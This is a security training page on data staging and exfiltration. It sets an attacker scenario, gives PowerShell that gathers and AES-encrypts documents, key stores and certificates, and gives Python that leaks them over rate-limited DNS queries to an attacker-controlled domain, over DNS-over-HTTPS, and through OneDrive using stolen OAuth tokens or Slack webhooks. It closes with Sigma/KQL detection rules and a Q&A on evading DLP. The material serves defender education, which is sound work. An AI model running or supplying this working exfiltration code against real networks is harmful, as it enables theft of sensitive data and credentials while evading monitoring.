Exfiltration and Data Staging
Exfiltration is the terminal objective in data theft operations. The detection challenge is that the attacker controls timing and bandwidth — exfiltrating slowly over weeks blends into normal traffic, while high-speed bulk transfer creates volume anomalies detectable within minutes. Modern EDR and DLP platforms alert on large outbound transfers to unknown destinations; attackers counter by staging to legitimate cloud storage, fragmenting data into small chunks, and using protocols the organization's monitoring stack does not deeply inspect.
You have SYSTEM on a file server containing 200GB of sensitive documents. The organization uses TLS inspection on HTTP/HTTPS but not DNS. You need to stage, compress, and encrypt the data, then exfiltrate it in a way that evades volume-based DLP alerts and avoids corporate proxy logging — using DNS as the primary covert channel and cloud storage as the high-bandwidth secondary path over a legitimate provider already allowlisted.
Data Staging and Collection
// Data staging: collect, compress, encrypt before exfil
// Compression + encryption reduces data size and prevents content-based DLP inspection
// PowerShell: recursive file collection by extension + zip
$targets = @("*.docx","*.xlsx","*.pdf","*.pst","*.kdbx","*.pfx","*.key")
$stagePath = "$env:TEMP\stage"
New-Item -ItemType Directory -Path $stagePath -Force | Out-Null
Get-ChildItem -Recurse -Path "C:\Users","D:\Shares" -Include $targets |
Where-Object { $_.Length -lt 50MB } | # skip huge files; take all small ones
Copy-Item -Destination $stagePath -ErrorAction SilentlyContinue
# Compress and password-encrypt with 7-zip (if available) or built-in:
# 7z.exe a -p"PASS" -mhe=on staged.7z $stagePath\*
# Pure PowerShell AES encryption of zip archive:
$data = [System.IO.File]::ReadAllBytes("$stagePath.zip")
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.GenerateKey(); $aes.GenerateIV()
$enc = $aes.CreateEncryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream $ms, $enc, 'Write'
$cs.Write($data, 0, $data.Length); $cs.FlushFinalBlock()
[System.IO.File]::WriteAllBytes("$env:TEMP\out.enc", $ms.ToArray())
# Prepend IV for decryption: $iv + $ms.ToArray()
Exfiltration Channels
| Channel | Bandwidth | Detection risk | Proxy/inspection bypass |
|---|---|---|---|
| HTTPS to attacker server | High (Mbps) | High — DLP, proxy log, NetFlow volume | Blocked by TLS inspection proxy |
| DNS TXT record encoding | Low (~1 KB/s) | Low — DNS rarely inspected at packet level | Yes — DNS typically bypasses proxy |
| ICMP covert channel | Very low | Low in many networks | Depends on firewall |
| OneDrive/Google Drive API | High (Mbps) | Medium — legitimate destination; but volume | Yes if cloud service allowlisted |
| Slack/Teams webhook | Medium | Medium — content visible if DLP hooks API | Yes |
| GitHub Actions secrets | Medium | Low | Yes |
DNS Exfiltration
// DNS exfil: encode data in subdomain labels; attacker controls the authoritative NS for exfil domain
// Attacker sees queries in NS server logs even if data never reaches an HTTP endpoint
// Rate limit to avoid NXDomain anomaly detection: send 1 query every 3-5 seconds
import socket, base64, time, os, math
EXFIL_DOMAIN = "exfil.attacker-ns[.]com"
CHUNK_SIZE = 32 # bytes per label (base32 = ceil(32*8/5) = 52 chars; safe for DNS label max 63)
def dns_exfil_file(filepath, seq_start=0):
with open(filepath, 'rb') as f:
data = f.read()
chunks = [data[i:i+CHUNK_SIZE] for i in range(0, len(data), CHUNK_SIZE)]
total = len(chunks)
for i, chunk in enumerate(chunks):
encoded = base64.b32encode(chunk).decode().rstrip('=').lower()
# label: {seq}-{total}-{data} → receiver reassembles in order
label = f"{seq_start+i:04x}{total:04x}{encoded}"
fqdn = f"{label}.{EXFIL_DOMAIN}"
try:
socket.gethostbyname(fqdn) # DNS query; attacker NS logs it
except socket.gaierror:
pass # NXDOMAIN expected — attacker NS returns nothing, query still logged
time.sleep(3) # 3 second gap → ~10 bytes/sec → below detection threshold
print(f"[{i+1}/{total}] sent {len(chunk)} bytes")
# DoH bypass (if UDP DNS is blocked but HTTPS to 8.8.8.8 is allowed):
import requests
def doh_exfil_chunk(fqdn):
resp = requests.get(
"https://8.8.8.8/resolve",
params={"name": fqdn, "type": "TXT"},
headers={"accept": "application/dns-json"}
)
return resp.json() # query logged at Google's DoH resolver — no corp DNS logging
Cloud Service Exfiltration
// Exfil to OneDrive via Microsoft Graph API — traffic blends with legitimate OneDrive sync
// If OneDrive is allowlisted in the proxy, outbound traffic to graph.microsoft.com is expected
import requests, os
# Authenticate with a stolen OAuth token or a device-code flow (social engineer a user to authorize):
def graph_upload(local_path, access_token):
filename = os.path.basename(local_path)
file_data = open(local_path, 'rb').read()
file_size = len(file_data)
# Small files (<4MB): simple PUT
url = f"https://graph.microsoft.com/v1.0/me/drive/root:/{filename}:/content"
resp = requests.put(url,
headers={"Authorization": f"Bearer {access_token}",
"Content-Type": "application/octet-stream"},
data=file_data
)
return resp.status_code == 201
# Large file: create upload session first (resumable upload)
# POST https://graph.microsoft.com/v1.0/me/drive/root:/{filename}:/createUploadSession
# → returns uploadUrl
# PUT uploadUrl with Content-Range: bytes 0-{chunk-1}/{total}
# → sends in 4MB chunks
# Alternative: Slack webhook (simple, no auth beyond webhook URL):
def slack_exfil(webhook_url, data_b64):
requests.post(webhook_url, json={"text": f"```{data_b64}```"})
Detection Engineering
title: DNS Exfiltration — High Entropy Subdomains
logsource:
product: windows
service: dns
detection:
selection:
QueryType: 'A'
QueryName|re: '^[a-z2-7]{30,63}\.' # base32 pattern in subdomain
condition: selection
level: medium
tags: [attack.exfiltration, T1048.003]
title: Large Data Compressed and Written to TEMP Before Network Activity
logsource:
product: windows
service: sysmon
detection:
file_temp:
EventID: 11 # FileCreate
TargetFilename|contains: '\Temp\'
TargetFilename|endswith:
- '.zip'
- '.7z'
- '.rar'
- '.enc'
network_out:
EventID: 3
Initiated: 'true'
timeframe: 5m
condition: file_temp | near network_out
level: medium
-- MDE KQL: DNS queries with high subdomain entropy (base32/base64 pattern)
DeviceNetworkEvents
| where RemotePort == 53
| extend subdomain = extract(@"^([^.]+)\.", 1, tostring(AdditionalFields.DnsQuestionName))
| where strlen(subdomain) > 25
| extend entropy = array_sum(
make_array(1) // placeholder — compute in real KQL via custom function
)
| summarize count(), domains=makeset(AdditionalFields.DnsQuestionName, 50)
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 5m)
| where count_ > 10
| order by count_ desc
-- MDE KQL: large outbound upload to cloud storage after file archive creation
DeviceNetworkEvents
| where RemoteUrl has_any ("onedrive.live.com","graph.microsoft.com","drive.google.com","dropbox.com")
| where RemotePort == 443
| summarize totalBytes = sum(SentBytes) by DeviceName, RemoteUrl, bin(Timestamp, 1h)
| where totalBytes > 50000000 // 50 MB threshold
| order by totalBytes desc
Q&A
DNS exfiltration has a very low bandwidth (~1 KB/s at a 3-second inter-query interval). Why do attackers use it despite the low speed, and what two complementary techniques do advanced operators combine with DNS exfil to handle larger datasets?
DNS exfiltration is used despite low bandwidth because it bypasses a specific enforcement gap that exists in almost all enterprise networks. HTTP/HTTPS proxy solutions provide deep traffic inspection and DLP for web traffic, but DNS traffic is typically allowed directly to the corporate resolver (or 8.8.8.8 via DoH) without content inspection. A security stack with full TLS inspection on HTTPS will catch an attacker uploading a 500MB archive to an unknown IP, but the same stack often has no alerting for queries to subdomains of an unknown domain — because DNS telemetry is frequently collected but rarely analyzed with behavioral rules. The attacker exploits this monitoring gap: the data moves through a channel that the defender's detection stack does not process with the same scrutiny as web traffic.
The two techniques advanced operators combine with DNS exfil are: (1) Allowlisted cloud service as the high-bandwidth channel — the attacker uses the DNS channel to slowly exfiltrate an AES key and authentication token, then uses a cloud provider's API (OneDrive, Google Drive) for the actual data bulk upload. The cloud provider is already on the proxy allowlist because business users access it legitimately. The DLP alert for unusual volume to a legitimate destination is harder to tune than an alert for any traffic to an unknown IP. The DNS channel carries only the small amount of metadata needed to bootstrap the cloud session. (2) Rate-limited off-hours scheduling — the bulk cloud upload is scheduled to execute slowly overnight, keeping the bytes-per-hour rate below the DLP volume threshold. An upload of 50MB over 8 hours at 1.7 KB/s matches legitimate background OneDrive sync activity. Together these two techniques let the attacker use DNS for the covert authentication bootstrap and cloud storage for the data payload, defeating both volume-based and destination-based detection.